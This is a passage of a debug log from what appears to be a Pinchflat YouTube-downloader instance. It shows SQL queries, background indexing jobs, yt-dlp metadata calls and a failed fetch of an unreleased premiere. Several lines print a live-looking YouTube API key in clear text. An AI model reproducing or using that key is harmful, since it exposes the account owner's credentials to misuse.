s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:27:14.110 [debug] QUERY OK source="tasks" db=0.1ms idle=99.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800216, 39, ~U[2026-02-10 23:27:14Z], ~U[2026-02-10 23:27:14Z]] 17:27:14.111 [info] {"args":{"id":39},"id":3800177,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":256204,"event":"job:stop","queue_time":384615,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:14.198 [debug] QUERY OK source="media_items" db=0.6ms idle=86.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 17:27:14.199 [debug] QUERY OK source="media_items" db=0.4ms idle=88.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:27:14.200 [debug] QUERY OK source="tasks" db=0.1ms idle=82.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800217, 3, ~U[2026-02-10 23:27:14Z], ~U[2026-02-10 23:27:14Z]] 17:27:14.200 [info] {"args":{"id":3},"id":3800178,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":189444,"event":"job:stop","queue_time":425253,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:17.858 [info] {"args":{"id":32},"id":3800179,"meta":{},"system_time":1770766037858769653,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:17.859 [debug] QUERY OK source="sources" db=0.1ms idle=1980.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:27:17.859 [debug] QUERY OK source="settings" db=0.0ms idle=1980.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:17.859 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:17.859 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:17.859 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:27:17.859 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:17.859 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:18.011 [debug] QUERY OK source="media_items" db=0.8ms idle=151.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "ed7V-kfgSGY", "b5oqQc9awuc", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", ...] 17:27:18.012 [debug] QUERY OK source="settings" db=0.0ms idle=152.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:18.012 [debug] QUERY OK source="settings" db=0.0ms idle=152.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:18.012 [debug] Running yt-dlp command for action: get_media_attributes 17:27:18.012 [debug] QUERY OK source="settings" db=0.0ms idle=153.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:18.013 [debug] QUERY OK source="settings" db=0.0ms idle=153.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:18.013 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:18.013 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/14/28/142895d97f9eb4c39b04a3b54e3048d14ffbbb2b32f00cd552318dc45afa9f08.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:19.274 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/14/28/142895d97f9eb4c39b04a3b54e3048d14ffbbb2b32f00cd552318dc45afa9f08.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b5oqQc9awuc: Premieres in 46 hours 17:27:19.274 [error] Error creating media item 'b5oqQc9awuc' from URL: {:error, "ERROR: [youtube] b5oqQc9awuc: Premieres in 46 hours\n", 1} 17:27:19.276 [debug] QUERY OK source="media_items" db=1.1ms idle=1262.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:27:19.277 [debug] QUERY OK source="tasks" db=0.1ms idle=1263.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800218, 32, ~U[2026-02-10 23:27:19Z], ~U[2026-02-10 23:27:19Z]] 17:27:19.277 [info] {"args":{"id":32},"id":3800179,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1418509,"event":"job:stop","queue_time":525394,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:26.867 [info] {"args":{"id":36},"id":3800180,"meta":{},"system_time":1770766046867652441,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:26.867 [info] {"args":{"id":6},"id":3800181,"meta":{},"system_time":1770766046867698927,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:26.868 [debug] QUERY OK source="sources" db=0.2ms idle=1989.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:27:26.868 [debug] QUERY OK source="sources" db=0.1ms idle=1989.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:27:26.868 [debug] QUERY OK source="settings" db=0.1ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:26.868 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:26.868 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:26.868 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:26.868 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:26.868 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:27:26.868 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:26.868 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 17:27:26.868 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:26.868 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:26.868 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:26.869 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:26.972 [debug] QUERY OK source="media_items" db=0.4ms idle=103.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 17:27:26.974 [debug] QUERY OK source="media_items" db=0.6ms idle=104.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:27:26.974 [debug] QUERY OK source="tasks" db=0.1ms idle=105.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800219, 36, ~U[2026-02-10 23:27:26Z], ~U[2026-02-10 23:27:26Z]] 17:27:26.974 [info] {"args":{"id":36},"id":3800180,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107108,"event":"job:stop","queue_time":508283,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:27.063 [debug] QUERY OK source="media_items" db=0.6ms idle=88.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 17:27:27.064 [debug] QUERY OK source="settings" db=0.0ms idle=89.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:27.064 [debug] QUERY OK source="settings" db=0.0ms idle=89.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:27.064 [debug] Running yt-dlp command for action: get_media_attributes 17:27:27.065 [debug] QUERY OK source="settings" db=0.0ms idle=90.7ms SELECT s0."id", s0."onboarding", 